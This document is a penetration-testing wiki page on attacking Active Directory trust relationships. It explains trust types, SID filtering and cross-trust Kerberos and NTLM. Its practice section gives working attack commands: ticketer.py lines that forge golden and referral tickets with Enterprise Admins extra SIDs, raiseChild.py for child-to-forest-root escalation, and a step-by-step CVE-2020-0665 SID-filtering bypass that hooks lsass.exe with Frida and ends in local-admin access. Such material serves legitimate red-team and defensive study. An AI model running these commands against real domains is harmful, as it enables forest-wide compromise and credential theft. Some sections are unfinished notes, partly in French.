Trusts

There are some parts missing here. It's indicated with the 🛠️ emoji in the category name. Wanna help? Please reach out to me: @_nwodtuhs

Theory

Attacking Active Directory trust relationships requires a good understanding of a lot of concepts (what forests and domains are, how trusts work, what security mechanisms are involved and how they work, ...). Consequently, this page is lengthy, especially in the theory and resources parts, but I did my best to include all the necessary info here.

Pro tip: take a look at the table of contents on the right panel, it will allow you to browse the page more easily.

Forest, domains & trusts

An Active Directory domain is a collection of computers, users, and other resources that are all managed together. A domain has its own security database, which is used to authenticate users and computers when they log in or access resources within the domain.

A forest is a collection of one or more Active Directory domains that share a common schema, configuration, and global catalog. The schema defines the kinds of objects that can be created within the forest, and the global catalog is a centralized database that contains a searchable, partial replica of every domain in the forest.

Trust relationships between domains allow users in one domain to access resources in another domain. There are several types of trust relationships that can be established, including one-way trusts, two-way trusts, external trusts, etc.

Once a trust relationship is established between a trusting domain (A) and trusted domain (B), users from the trusted domain can authenticate to the trusting domain's resources. In other -more technical- terms, trusts extend the security boundary of a domain or forest.

Simply establishing a trust relationship does not automatically grant access to resources. In order to access a "trusting" resource, a "trusted" user must have the appropriate permissions to that resource. These permissions can be granted by adding the user to a group that has access to the resource, or by giving the user explicit permissions to the resource.

A trust relationship allows users in one domain to authenticate to the other domain's resources, but it does not automatically grant access to them. Access to resources is controlled by permissions, which must be granted explicitly to the user in order for them to access the resources.

Global Catalog

The global catalog is a partial copy of all objects in an Active Directory forest, meaning that some object properties (but not all) are contained within it. This data is replicated among all domain controllers marked as global catalogs for the forest. One of the Global Catalog's purposes is to facilitate quick object searching and conflict resolution without the necessity of referring to other domains (more information here).

The initial global catalog is generated on the first domain controller created in the first domain in the forest. The first domain controller for each new child domain is also set as a global catalog by default, but others can be added.

The GC allows both users and applications to find information about any objects in ANY domain in the forest. The Global Catalog performs the following functions:

Authentication (provided authorization for all groups that a user account belongs to, which is included when an access token is generated)
Object search (making the directory structure within a forest transparent, allowing a search to be carried out across all domains in a forest by providing just one attribute about an object.)

Trust types

The trustType attribute of a TDO specifies the type of trust that is established. Here are the different trust types (section 6.1.6.7.15 "trustType" of [MS-ADTS]):

Downlevel: a trust with a domain that is running a version of Windows NT 4.0 or earlier.
Uplevel: a trust with a domain that is running Windows 2000 or later.
MIT: a trust with a non-Windows Kerberos realm, typically used for interoperability with UNIX-based systems running MIT Kerberos.
DCE: not used in Windows. Would refer to trusts with a domain running DCE.
AAD: the trusted domain is in Azure Active Directory.

Trust flavor

The trust "flavor", on the other hand, represents the nature of the trust relationship between domains or forests. It is not a direct attribute but is identified based on other TDO attributes (see "How Domain and Forest Trusts Work > Trust Types").

Parent-Child: this type of trust relationship exists between a parent domain and a child domain in the same forest. The parent domain trusts the child domain, and the child domain trusts the parent domain. This type of trust is automatically created when a new child domain is created in a forest.
Tree-Root: exists between the root domain of a tree and the root domain of another tree in the same forest. This type of trust is automatically created when a new tree is created in a forest.
Shortcut (a.k.a. cross-link): exists between two child domains of different tree (i.e. different parent domains) within the same forest. This type of trust relationship is used to reduce the number of authentication hops between distant domains. It is a one-way or two-way transitive trust.
External: exists between a domain in one forest and a domain in a different forest. It allows users in one domain to access resources in the other domain. It's usually set up when accessing resources in a forest without trust relationships established.
Forest: exists between two forests (i.e. between two root domains in their respective forest). It allows users in one forest to access resources in the other forest.
Realm: exists between a Windows domain and a non-Windows domain, such as a Kerberos realm. It allows users in the Windows domain to access resources in the non-Windows domain.

Trust type	Transitivity	Direction	Auth. mechanisms	Creation mode
Parent-Child	Transitive	Two-way	Either	Automatic
Tree-Root	Transitive	Two-way	Either	Automatic
Shortcut (a.k.a. cross-link)	Transitive	Either	Either	Manual
Realm	Either	Either	Kerberos V5 only	Manual
Forest	Transitive	Either	Either	Manual
External	Non-transitive	One-way	NTLM only	Manual

Trust type

Transitivity

Direction

Auth. mechanisms

Creation mode

Parent-Child

Transitive

Two-way

Either

Automatic

Tree-Root

Transitive

Two-way

Either

Automatic

Shortcut (a.k.a. cross-link)

Transitive

Either

Manual

Realm

Either

Kerberos V5 only

Manual

Forest

Transitive

Either

Manual

External

Non-transitive

One-way

NTLM only

Manual

Transitivity

In Active Directory, a transitive trust is a type of trust relationship that allows access to resources to be passed from one domain to another. When a transitive trust is established between two domains, any trusts that have been established with the first domain are automatically extended to the second domain. This means that if Domain A trusts Domain B and Domain B trusts Domain C, then Domain A automatically trusts Domain C, even if there is no direct trust relationship between Domain A and Domain C. Transitive trusts are useful in large, complex networks where multiple trust relationships have been established between many different domains. They help to simplify the process of accessing resources and reduce the number of authentication hops that may be required.

The transitivity status of a trust depends on the trustAttributes flags of a TDO.

If the TRUST_ATTRIBUTE_NON_TRANSITIVE (0x00000001) flag is set then the transitivity is disabled.
If the TRUST_ATTRIBUTE_WITHIN_FOREST (0x00000020) flag is set then the transitivity is enabled.
If the TRUST_ATTRIBUTE_FOREST_TRANSITIVE (0x00000008) flag is set then the transitivity is enabled.
In any other case the transitivity is disabled.
(by Carsten Sandker on www.securesystems.de)

SID filtering

According to Microsoft, the security boundary in Active Directory is the forest, not the domain. The forest defines the boundaries of trust and controls access to resources within the forest.

The domain is a unit within a forest and represents a logical grouping of users, computers, and other resources. Users within a domain can access resources within their own domain and can also access resources in other domains within the same forest, as long as they have the appropriate permissions. Users cannot access resources in other forests unless a trust relationship has been established between the forests.

SID filtering plays an important role in the security boundary by making sure "only SIDs from the trusted domain will be accepted for authorization data returned during authentication. SIDs from other domains will be removed" (netdom cmdlet output). By default, SID filtering is disabled for intra-forest trusts, and enabled for inter-forest trusts.

Section 4.1.2.2 of [MS-PAC] specifies what is filtered and when. There are three important things to remember from this documentation:

if SID filtering is fully enabled, all SIDs that differ from the trusted domain will be filtered out
even if it's enabled, a few SIDs will (almost) never be filtered: "Enterprise Domain Controllers" (S-1-5-9) SID and those described by the trusted domain object (TDO), as well as seven well-known SIDs (see MS-PAC doc, and improsec's blogpost).
there are two kinds of inter-forest trusts: "Forest", and "External" (see trust types). Microsoft says "cross-forest trusts are more stringently filtered than external trusts", meaning that in External trusts, SID filtering only filters out RID < 1000.

The SID filtering status of a trust depends on the trustAttributes flags of a TDO as well as the type of trust.

If the TRUST_ATTRIBUTE_QUARANTINED_DOMAIN (0x00000004) flag is set, then only SIDs from the trusted domain are allowed (all others are filtered
(by Carsten Sandker on www.securesystems.de)
If the TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL (0x00000040) flag is set, then inter-forest ticket can be forged, spoofing an RID >= 1000. Of course, this doesn't apply if TAQD (TRUST_ATTRIBUTE_QUARANTINED_DOMAIN) is set.
(sources: section 6.1.6.7.9 of [MS-ADTS], and section 4.1.2.2 of [MS-PAC]).

Above are some key, usually valid, elements. But as Carsten Sandker puts it: "the logic that sits behind this might be too complex to put it in text". To really know the behavior of SID filtering for a trust, refer to the lookup tables here (for default trusts setups) and there (for custom configs).

SID filtering is not unique to trusts. It occurs "whenever a service ticket is accepted" either by the KDC or by a local service and behaves differently depending on the contect in which the ticket was produced.

Also, SID filtering works the same way for NTLM and Kerberos. It's a separate mechanism invoked after user logon info are unpacked (more details in NTLM and Kerberos chapters).

SID history

The SID (Security Identifier) is a unique identifier that is assigned to each security principal (e.g. user, group, computer). It is used to identify the principal within the domain and is used to control access to resources.

The SID history is a property of a user or group object that allows the object to retain its SID when it is migrated from one domain to another as part of a domain consolidation or restructuring. When an object is migrated to a new domain, it is assigned a new SID in the target domain. The SID history allows the object to retain its original SID, so that access to resources in the source domain is not lost.

Many resources across the Internet, including Microsoft's docs and tools, state that SID history can be enabled across a trust. This is not 100% true. SID history is not a feature that can be toggled on or off per say.

When authenticating across trusts using Kerberos, it is assumed that the extra SID field of the ticket's PAC (Privileged Attribute Certificate) reflects the SID history attribute of the authenticating user. With SID filtering enabled in a trust, the SIDs contained in that field are filtered, effectively preventing SID history from doing its job. There are certain scenarios where some SIDs are not filtered, allowing for example SIDs with a RID >= 1000. Some, including Microsoft, call it "enabling SID history", but in fact, SID history is not toggled on or off here, it's the behavior of SID filtering that is adjusted. I'd call that "partial SID filtering", or "unencumbered SID history". Dirk-jan Mollema calls that "SID filtering relaxation".

When authenticating with NTLM, the process is highly similar, see the NTLM authentication theory chapter for more information.

Authentication level

Inter-forest trusts ("External" and "Forest" trusts) can be configured with different levels of authentication:

Forest-wide authentication: allows unrestricted authentication from the trusted forest's principals to the trusting forest's resources. This is the least secure level, it completely opens one forest to another (authentication-wise though, not access-wise). This level is specific to intra-forest trusts.
Domain-wide authentication: allows unrestricted authentication from the trusted domain's principals to the trusting domain's resources. This is more secure than forest-wide authentication because it only allows users in a specific (trusted) domain to access resources in another (trusting).
Selective authentication: allows only specific users in the trusted domain to access resources in the trusting domain. This is the most secure type of trust because it allows administrators to tightly control access to resources in the trusted domain. In order to allow a "trusted user" to access a "trusting resource", the resource's DACL must include an ACE in which the trusted user has the "Allowed-To-Authenticate" extended right (GUID: 68b1d179-0d15-4d4f-ab71-46152e79a7bc).

It's worth noting that selective authentication is less used by the general public due to its complexity, but it's definitely the most restrictive, hence secure, choice.

The authentication level of a trust depends on the trustAttributes flags of a TDO.

If the trust relationship is made within a forest boundary (aka if the TRUST_ATTRIBUTE_WITHIN_FOREST (0x00000020) flag is set), then Forest-Wide Authentication will always be used.
f the trust relationship crosses a forest boundary and the TRUST_ATTRIBUTE_CROSS_ORGANIZATION (0x00000010) flag is set then Selective Authentication is used.
If the trust relationship crosses a forest boundary, but the trust is marked as transitive (aka if the TRUST_ATTRIBUTE_FOREST_TRANSITIVE (0x00000008) flag is set), then Forest-Wide Authentication will be used.
In any other case Domain-Wide Authentication is used.
Interesting to note: Trusts within a Forest always use Forest-Wide Authentication (and this can not be disabled).
(by Carsten Sandker on www.securesystems.de)

TGT delegation

Kerberos unconstrained delegation (KUD) allows a service configured for it to impersonate (almost) any user on any other service. This is a dangerous feature to configure, that won't be explained into much details here as the Kerberos, Kerberos delegations and Kerberos unconstrained delegations pages already cover it.

Kerberos unconstrained delegations could be abused across trusts to take control over any resource of the trusting domain, including the domain controller, as long as the trusted domain is compromised. This relies on the delegation of TGT across trusts, which can be disabled.

If TGT delegation is disabled in a trust, attackers won't be able to escalate from one domain to another by abusing unconstrained delegation. On a side note, the other types of delegations are not affected by this as they don't rely on the delegation of tickets, but on S4U extensions instead.

The TGT delegation status of a trust depends on the trustAttributes flags of a TDO.

If the TRUST_ATTRIBUTE_CROSS_ORGANIZATION_NO_TGT_DELEGATION (0x00000200) flag is set, then TGT Delegation is disabled.
If the TRUST_ATTRIBUTE_QUARANTINED_DOMAIN (0x00000004) flag is set, then TGT Delegation is disabled.
If the TRUST_ATTRIBUTE_CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION (0x00000800)flag is set, then TGT Delegation is enabled.
If the TRUST_ATTRIBUTE_WITHIN_FOREST (0x00000020) flag is set, then TGT Delegation is enabled.
(by Carsten Sandker on www.securesystems.de)

Kerberos authentication

Understanding how Kerberos works is required here: the Kerberos protocol.

For a Kerberos authentication to occur across a domain trust, the Kerberos key distribution centers (KDCs) in two domains must have a shared secret, called an inter-realm key. This key is derived from a shared password, and rotates approximately every 30 days. Parent-child domains share an inter-realm key implicitly.
When a user in domain A tries to authenticate or access a resource in domain B that he has established access to, he presents his ticket-granting-ticket (TGT) and request for a service ticket to the KDC for domain A. The KDC for A determines that the resource is not in its realm, and issues the user a referral ticket.
This referral ticket is a ticket-granting-ticket (TGT) encrypted with the inter-realm key shared by domain A and B. The user presents this referral ticket to the KDC for domain B, which decrypts it with the inter-realm key, checks if the user in the ticket has access to the requested resource, and issues a service ticket. This process is described in detail in Microsoft’s documentation in the Simple Cross-Realm Authentication and Examples section.
(by Will Schroeder on blog.harmj0y.net)

From an offensive point of view, just like a golden ticket, a referral ticket could be forged. Forging a referral ticket using the inter-realm key, instead of relying on the krbtgt keys for a golden ticket, is a nice alternative for organizations that choose to roll their krbtgt keys, as they should. This technique is a little bit trickier though, as it requires to use the correct key.

Depending on the trust characteristics, ticket forgery can also be combined with SID history spoofing for a direct privilege escalation from a child to a parent domain.

When doing Kerberos authentications across trusts, the trusting domain's domain controller checks a few things before handing out service tickets to trusted users: SID filtering during PAC validation (looking in the ExtraSids attribute from the KERB_VALIDATION_INFO structure in the PAC), TGT delegation verification (when asked for a Service Ticket for a service configured for unconstrained delegation), and Selective Authentication limitation.

NTLM authentication

In an NTLM authentication sequence, a user authenticates to a resource by sending an NTLM Negotiate message, receiving an NTLM Challenge, and then sending back an NTLM Authenticate. The server then passes the logon request through to the Domain Controller, using the Netlogon Remote Protocol.

This mechanism of delegating the authentication request to a DC is called pass-through authentication.
Upon successful validation of the user credentials on the DC, the Netlogon Remote Protocol delivers the user authorization attributes (referred to as user validation information) back to the server over the secure channel.
(Microsoft.com)

When using NTLM across trust relationships, the process is very similar.

When a trusted domain's user wants to access a resource from a trusting domain, the user and the resource engage in the standard 3-way NTLM handshake. Upon receiving the NTLM Authenticate message, the resource forwards it to its own domain controller through a Netlogon "workstation secure channel". The trusting DC forwards it as well to the trusted domain's DC through a Netlogon "trusted domain secure channel".

The trusted domain's DC does the usual checks and passes the result to the trusting DC, which in turn passes it to the resource. The resource then accepts or rejects the authentication based on the decision passed through the DCs.

When doing NTLM authentications across trusts, the trusting domain's domain controller checks a few things from the user info structure supplied by the trusted domain controller: SID filtering (looking in the ExtraSids attribute from the NETLOGON_VALIDATION_SAM_INFO2 structure), and Selective Authentication limitation during the DC's validation of the user credentials. TGT delegation verification doesn't occur here, since it's a Kerberos mechanism.

Nota bene, wether it's Kerberos or NTLM, the ExtraSids are in the same data structure, it's just named differently for each protocol. And, the SID filtering function called by the trusting DC is the same, for both authentication protocols.

MIM PAM & Bastion (Red Forests)

The following section is a light adaptation of Nikhil Mittal's and Daniel Ulrichs's work.

Microsoft introduced MIM (Microsoft Identity Manager) Privileged Access Management (PAM) with Server 2016, including the following features. (Sometimes PAM is also referred to as PIM in some docs/links).

A Bastion forest (i.e. forest in ESAE (Enhanced Security Admin Environment), a.k.a. Red Forest)
Shadow Security Principals (i.e. admins in Bastion Forest can be mapped as Domain Admins or a "User Forest")
Temporary group membership (i.e. add a user to a group with a time-to-live (TTL))

PAM enables the management of an existing "Production Forest" (one can think of that as a User Forest as well) using a "Bastion Forest" which has a one-way PAM trust with the existing forest. The users in the Bastion Forest can be 'mapped' to privileged groups like "Domain Admins" and "Enterprise Admins" in the Production Forest without modifying any group memberships or ACLs. This takes away the administrative overhead and reduces the chances of lateral movement techniques.

This is done by creating "Shadow Security Principals" in the Bastion Forest, which are mapped to SIDs for high-privileged groups in the User Forest, and then adding users from the Bastion Forest as members of the Shadow Security Principals.

More technical notes

The main Active Directory Objects and Attributes related to the Bastion Forest are the following:

msDS-ShadowPrincipalContainer: dedicated container class for msDS-ShadowPrincipal objects. One default container (CN=Shadow Principal Configuration) is created in the Services container in the Configuration NC on the Bastion Forest). NB: Privileged Containers can be created in other locations as well, however, Kerberos will NOT work there.
msDS-ShadowPrincipal: principal from an external forest (Bastion Forest). Has the msDS-ShadowPrincipalSid attribute and can only be in a Shadow Principal container. Any principal may be represented by a Shadow Principal. If the Shadow Principal is in the default container (mentioned above), Kerberos tickets will embed the group membership (in the same forest) of the principal referenced by the Shadow Principal. If a TTL value of the membership is set it will integrate with Kerberos and the lifetime of the tickets will be set to the shortest expiring TTL value.
msDS-ShadowPrincipalSid: This attribute contains the SID of a principal from an external forest. SIDs from a domain of the same forest cannot be added. To be able to add SIDs from another Domain, a Forest Trust must be configured between them. This means that at least a one-way incoming Forest Trust from the Domain that holds the Shadow Principals must be configured. This attribute is also indexed.

Bastion ROOT (DC=BASTION,DC=LOCAL)
├── Configuration Naming Context (CN=Configuration)
│   ├── Services (CN=Services)
│   │   ├── Default Shadow Principal Container (CN=Shadow Principal Configuration)
│   │   │   ├── Shadow Principal object
│   │   │   │   ├── name: prodForest-ShadowEntrepriseAdmin
│   │   │   │   ├── member: { BASTION/bobby, BASTION/jason } (Users in Bastion Forest)
│   │   │   │   ├── msDS-ShadowPrincipalSid: S-1-5-21-[...]-519 (Entreprise Admins @ PRODUCTION.LOCAL)
│   │   │   │   ├── ...
│   │   │   ├── Shadow Principal object
│   │   │   │   ├── name: prodForest-ShadowDomainAdmin
│   │   │   │   ├── member: { BASTION/max, BASTION/jason } (Users in Bastion Forest)
│   │   │   │   ├── msDS-ShadowPrincipalSid: S-1-5-21-[...]-512 (Domain Admins @ PRODUCTION.LOCAL)
│   │   │   │   ├── ...
│   │   ├── [...]

Practice

While domain trusts don't necessarily give access to resources, they allow the trusted domain's principal to query another -trusting- domain's AD info.

And remember that all parent->child (intra-forest domain trusts) retain an implicit two way transitive trust with each other. Also, due to how child domains are added, the “Enterprise Admins” group is automatically added to Administrators domain local group in each domain in the forest. This means that trust “flows down” from the forest root, making it our objective to move from child to forest root at any appropriate step in the attack chain. (from Will Schroeder's " A Guide to Attacking Domain Trusts").

Attacking AD trusts comes down to the following process.

Map all direct and indirect trusts involved with an already compromised domain.
All domains from the same forest are to be considered as first-choice targets (SID filtering would be disabled, allowing for Forging a ticket with an SID history).
For the others, permissions must be audited to finds ways in trusting domains. This is done by finding out what trusted principals can do on trusting resources (Kerberos delegations, groups membership, DACLs, etc.), and then abuse those permissions. All regular AD movement techniques apply, except the target resources and the account used to authenticate are not on the same domain, that's basically it.

Enumeration

Several tools can be used to enumerate trust relationships. The following major characteristic must be looked for, some of which are directly readable from the TDO (Trusted Domain Object) attributes and others need a little bit of logic.

Trust partner: trusting domain for outbound trusts, trusted domain for inbound trusts. Bidirectional trusts are two one-way trusts. Retrieved from the TDO attribute trustPartner value.
Trust direction: inbound, outbound, or bidirectional. Retrieved from the TDO attribute trustDirection integer value.
Trust type: Parent-Child, Tree-Root, Shortcut (a.k.a. "Cross-Link"), Forest, External, or Realm (a.k.a. "Kerberos").
Trust authentication level, transitivity, TGT delegation and SID filtering: Retrieved from a set of flags in the TDO's trustAttributes attribute, combined with the type of trust (see authentication level, transitivity, TGT delegation and SID filtering).

Keep in mind that there is a TDO [(Trusted Domain Object)] for each side of the Trust relationship so always analyze both TDOs for each trust. [...]
It's important to check both ends of the trust (because the characteristics could differ). [...]
All the trust relationship information is fetched via LDAP and preferably (if that server is operational) from the Global Catalog server. As the Global catalog contains information about every object in the forest it might also contain information about trust entities that you can't reach (e.g. due to network segmentation or because they are offline).
(by Carsten Sandker on www.securesystems.de)

From UNIX-like systems, tools like ldeep (Python), ldapdomaindump (Python), ldapsearch-ad (Python) and ldapsearch (C) can be used to enumerate trusts.

# ldeep supports cleartext, pass-the-hash, pass-the-ticket, etc.
ldeep ldap -u "$USER" -p "$PASSWORD" -d "$DOMAIN" -s ldap://"$DC_IP" trusts

# ldapdomaindump will store HTML, JSON and Greppable output
ldapdomaindump --user 'DOMAIN\USER' --password "$PASSWORD" --outdir "ldapdomaindump" "$DC_HOST"

# ldapsearch-ad
ldapsearch-ad --server "$DC_HOST" --domain "$DOMAIN" --username "$USER" --password "$PASSWORD" --type trusts

# ldapsearch
ldapsearch -h ldap://"$DC_IP" -b "CN=SYSTEM,DC=$DOMAIN" "(objectclass=trustedDomain)"

BloodHound can also be used to map the trusts. While it doesn't provide much details, it shows a visual representation.

From Windows systems, many tools like can be used to enumerate trusts. "A Guide to Attacking Domain Trusts" by Will Schroeder provides more in-depth guidance on how to enumerate and visually map domain trusts (in the "Visualizing Domain Trusts" section), as well as identify potential attack paths ("Foreign Relationship Enumeration" section).

netdom

From domain-joined hosts, the netdom cmdlet can be used.

netdom trust /domain:DOMAIN.LOCAL

PowerView

Alternatively, PowerSploit's PowerView (PowerShell) supports multiple commands for various purposes.

Command Alias Description

Get-DomainTrust

Get-NetDomainTrust

gets all trusts for the current user's domain

Get-ForestTrust

Get-NetForestTrust

gets all trusts for the forest associated with the current user's domain

Get-DomainForeignUser

Find-ForeignUser

enumerates users who are in groups outside of their principal domain

Get-DomainForeignGroupMember

Find-ForeignGroup

enumerates all the members of a domain's groups and finds users that are outside of the queried domain

Get-DomainTrustMapping

Invoke-MapDomainTrust

try to build a relational mapping of all domain trusts

The global catalog is a partial copy of all objects in an Active Directory forest, meaning that some object properties (but not all) are contained within it. This data is replicated among all domain controllers marked as global catalogs for the forest. Trusted domain objects are replicated in the global catalog, so we can enumerate every single internal and external trust that all domains in our current forest have extremely quickly, and only with traffic to our current PDC.
(by Will Schroeder on blog.harmj0y.net)

Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"

The global catalog can be found in many ways, including a simple DNS query (see DNS recon).

BloodHound

BloodHound can also be used to map the trusts. While it doesn't provide much details, it shows a visual representation.

In addition to enumerating trusts, retrieving information about the permissions of trusted principals against trusting resources could also allow for lateral movement and privilege escalation. The recon techniques will depend on the permissions to abuse (DACL, Kerberos delegations, etc.).

Notes on Bastion Forests

A forest is probably managed by a Bastion Forest when the TRUST_ATTRIBUTE_PIM_TRUST (0x400) flag is set in the trust attributes.

To enumerate the Shadow Security Principals, and LDAP query can be made to list the Name, member, and msDS-ShadowPrincipalSid attributes of Shadow Principals in the CN=Shadow Principal Configuration,CN=Services,{CONFIGURATION_NAMING_CONTEXT} container.

name: name of the shadow principal
member: principals (from the Bastion Forest) mapped to it
msDS-ShadowPrincipalSid: the SID of the principal (from the Production Forest) whose privileges are assigned to the shadow security principal.

Forging tickets

When forging a referral ticket, or a golden ticket, additional security identifiers (SIDs) can be added as "extra SID" and be considered as part of the user's SID history when authenticating. Alternatively, the SID could be added beforehand, directly in the SID history attribute, with mimikatz sid:add command, but that's a topic for another day.

Then, when using the ticket, the SID history would be taken into account and could grant elevated privileges (depending on how SID filtering is configured in the trust)

If the attacker is moving across an intra-forest trust, it would allow to compromise the forest root, and by extension, all the forest, since Enterprise Admins can access all domains' domain controllers as admin (because the security boundary is the forest, not the domain).
If the attacker is moving across an inter-forest trust, it could allow to compromise the trusting domain, depending on how SID filtering is configured, and if there are some groups that have sufficient permissions.

In conclusion, before attacking trusts, it's required to enumerate them, as well as enumerate the target (trusting) domain's resources. See enumeration.

If SID filtering is disabled in the targeted trust relationship (see SID filtering and Enumeration), a ticket (inter-realm/referral ticket, or golden ticket) can be forged with an extra SID that contains the root domain and the RID of the "Enterprise Admins" group (i.e. S-1-5-21-<RootDomain>-519). The ticket can then be used to access the trusting domain controller as admin and conduct a DCSync attack.
If SID filtering is partially enabled (sometimes referred to as SID history enabled), effectively only filtering out RID <1000, a ticket can be forged with an extra SID that contains the target domain and the RID of any group, with RID >= 1000). The ticket can then be used to conduct more attacks depending on the group's privileges.
For example the Exchange security groups, which allow for a privilege escalation to DA in many setups all have RIDs larger than 1000. Also many organisations will have custom groups for workstation admins or helpdesks that are given local Administrator privileges on workstations or servers.
(by Dirk-jan Mollema on dirkjanm.io)
If SID filtering is fully enabled, the techniques presented above will not work since all SIDs that differ from the trusted domain will be filtered out. This is usually the case with standard inter-forest trusts. Attackers must then fallback to other methods of permissions abuse. Alternatively, there are a few SIDs that won't be filtered out (see SID filtering theory and SID filtering bypass practice).

If the attacker chooses to forge an inter-realm ticket forgery (i.e. referral ticket), a service ticket request must be conducted before trying to access the domain controller. In the case of a golden ticket, the target domain controller will do the hard work itself. Once the last ticket is obtained, it can be used with pass-the-ticket for the DCSync (if enough privileges, or any other operation if not).

From UNIX-like systems, Impacket scripts (Python) can be used for that purpose.

ticketer.py to forge tickets
getST.py to request service tickets
lookupsid.py to retrieve the domains' SIDs

If SID filtering is disabled, set the RID to 519 to act as Enterprise Admin.

If SID filtering is partially enabled, set the RID >=1000.

Referral ticket

# 1. forge the ticket
ticketer.py -nthash "inter-realm key" -domain-sid "child_domain_SID" -domain "child_domain_FQDN" -extra-sid "<root_domain_SID>-<RID>" -spn "krbtgt/root_domain_fqdn" "someusername"
 
# 2. use it to request a service ticket
KRB5CCNAME="someusername.ccache" getST.py -k -no-pass -debug -spn "CIFS/domain_controller" "root_domain_fqdn/someusername@root_domain_fqdn"

Golden ticket

ticketer.py -nthash "child_domain_krbtgt_NT_hash" -domain-sid "child_domain_SID" -domain "child_domain_FQDN" -extra-sid "<root_domain_SID>-<RID>" "someusername"

Impacket's raiseChild.py script can also be used to conduct the golden ticket technique automatically when SID filtering is disabled (retrieving the SIDs, dumping the trusted domain's krbtgt, forging the ticket, dumping the forest root keys, etc.). It will forge a ticket with the Enterprise Admins extra SID.

raiseChild.py "child_domain"/"child_domain_admin":"$PASSWORD"

🛠️ SID filtering bypass

a few SIDs will (almost) never be filtered: "Enterprise Domain Controllers" (S-1-5-9) SID and those described by the trusted domain object (TDO), as well as seven well-known SIDs (see MS-PAC doc, and improsec's blogpost).
(SID filtering theory)

// https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research

CVE-2020-0665

The idea behind CVE-2020-0665 is to bypass SID filtering to authenticate as a server in the trusting forest targeting the local admin on this server (RID = 500). To do so, the local domain SID of the server is spoofed to "fake" a child domain in the trusted forest, which will be added to the list of trusted SIDs in the trusting forest domain's TDO (Trusted Domain Object) after 24 hours (see SID filtering). An inter-realm/referral ticket will then be forged using the spoofed SID as extended SID which will be used to request a service ticket to that server (see Forging tickets).

The attack is conducted as follows:

Get the local domain's SID of the target server. This step requires Windows older than Windows 10 build 1607, or before Server 2016, as it uses MS-LSAT RPC to query the target server for the SID of its local domain, that is restricted on newer versions and requires administrative privileges on the target.
Spoof the local domain's SID of the target server. This steps must be run as SYSTEM on the trusted forest's domain controller. The Frida script used for this step is made for Windows Server 2016 version 1607. If the target runs a different version, the address offset might be different and some additional preparation must be done.
Forging tickets. For this step, refer to Kerberos authentication theory chapter for more details about the trust key being used, the ticket forgery is then highly similar to the Forging ticket practice part.

For more details about how this attack works under the hood, refer to the article on dirkjanm.io by Dirk-jan Mollema.

Some considerations to reproduce the attack:

Full control over the trusted forest is assumed.
Information that flows over to the trusting forest can be modified.
There is at least one server joined to a domain in the trusting forest (referred to as the "target server" here).

The attack can be conducted with Dirk-jan Mollema's forest trust tools.

1. Get Local Domain SID

# Obtain the local domain's SID of the target server in the trusting forest
# The hostname (Security Principal Name) of the target server is required
getlocalsid.py "trusted_domain"/"someusername"@"<target_server_FQDN or IP address>" "target_server_NETBIOS_name"

2. Spoof the target SID

# Become a "domain" in the trusted forest using the spoofed SID so that this one is added to the authorized SIDs in the trusting domain
# Intercept the Netlogon request for an existing child domain in the trusted forset and modify the SID with the spoofed one by hooking lsass.exe when the NetrGetForestTrustInformation RPC call is made 
# Notice that the SID of the child domain to look for and the local domain's SID of the  target server should be modified with the right values
# This is to be run as SYSTEM on the trusted DC
python3 .\frida_intercept.py lsass.exe

3. Get local admin on the target

# 1. Forge an inter-realm/referral ticket with the spoofed SID put as extended SID with RID 500 using the AES key of the incoming trust
ticketer.py -aesKey "AES_key_of_incoming_trust" -domain "trusted_root_domain_FQDN" -domain-sid "trusted_root_domain_SID" -user-id 1000 -groups 513 -extra-sid "<spoofed_SID>"-500 -spn "krbtgt/trusting_root_domain_FQDN" "someusername"

# 2. Request a service ticket using the forged referral ticket
# Notice that keys has to be manually modified in the getftST.py script before
KRB5CCNAME="someusername.ccache" getftST.py -spn "CIFS/target_server_FQDN" -target-domain "trusting_root_domain_FQDN" -via-domain "trusted_root_domain_FQDN" "domain/username" -dc-ip "target_DC_IP"

# 3. Use the obtained ST to access the target server as local admin
KRB5CCNAME=username.ccache smbclient.py -k "trusted_domain"/"someusername"@"target_server_FQDN" -no-pass

🛠️ Keys container trust

// https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research

// Enterprise Domain Controllers have GenericAll on Keys container (CN=keys,DN=domain,DN=local), "Default container for key credential objects", used for gMSA ?

// Container should be empty, but if it's not, exploitable seulement s'il y a déjà des objets dans le conteneur ce qui n'est pas censé être le cas par défaut.

🛠️ Schema change attack (source)

Depuis le domaine source, en tant que SYSTEM, on peut modifier le schéma dans la partition de Configuration puis attendre que ce soit répliqué sur le domaine cible

Plus particulièrement en modifiant le defaultSecurityDescriptor de classes intéressantes (groupes, users, GPC), ou retirant le flag confidential

🛠️ Abusing permissions

Unconstrained delegation abuse

In order to abuse unconstrained delegation across trusts, TGT delegation must be allowed/enabled on the trust, and Selective Authentication must NOT be enabled (or with a configuration that would allow for the exploitation detailed below, see the Authentication level chapter).

In addition to that, the ideal setup would be to have a two-way trust between the compromised domain (A) and the target domain (B), in order to allow the exploitation detailed below.

(trusting B -> trusted A), allows access from A to B, allows to coerce authentications
(trusting A -> trusted B), allows access from B to A, allows the coerced account to authenticate to the attacker-controlled KUD account.

Other regular KUD-abuse-specific requirements apply (e.g. accounts not sensitive for delegation or member of the protected users group), see the Kerberos Unconstrained Delegation page.

If an attacker manages to gain control over an account configured for unconstrained delegation, he could escalate to domain admin privileges. Across trusts, the scenario is very similar. An attacker needs to gain control over a trusted account, configured for KUD (Kerberos Unconstrained Delegation), in order to act on a trusting resource (e.g. trusting domain's DC) as another principal (i.e. domain admin).

By default, all domain controllers are configured for unconstrained delegation.

The Kerberos Unconstrained Delegation page can be consulted in order to obtain operational guidance on how to abuse this context.

In most cases, the attacker will have to:

coerce the authentication (PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc.) of a high-value target (e.g. domain controller) of the trusting domain
retrieve the TGT delegated in the service ticket the trusting resource used to access the attacker-controlled KUD account
authenticate to trusting resources using the extracted TGT (Pass the Ticket) in order to conduct privileged actions (e.g. DCSync)

page(KUD) Unconstrained

🛠️ DACL abuse

TODO // How a domain admin of forest A could administrate a domain in forest B ? https://social.technet.microsoft.com/Forums/windowsserver/en-US/fa4070bd-b09f-4ad2-b628-2624030c0116/forest-trust-domain-admins-to-manage-both-domains?forum=winserverDS

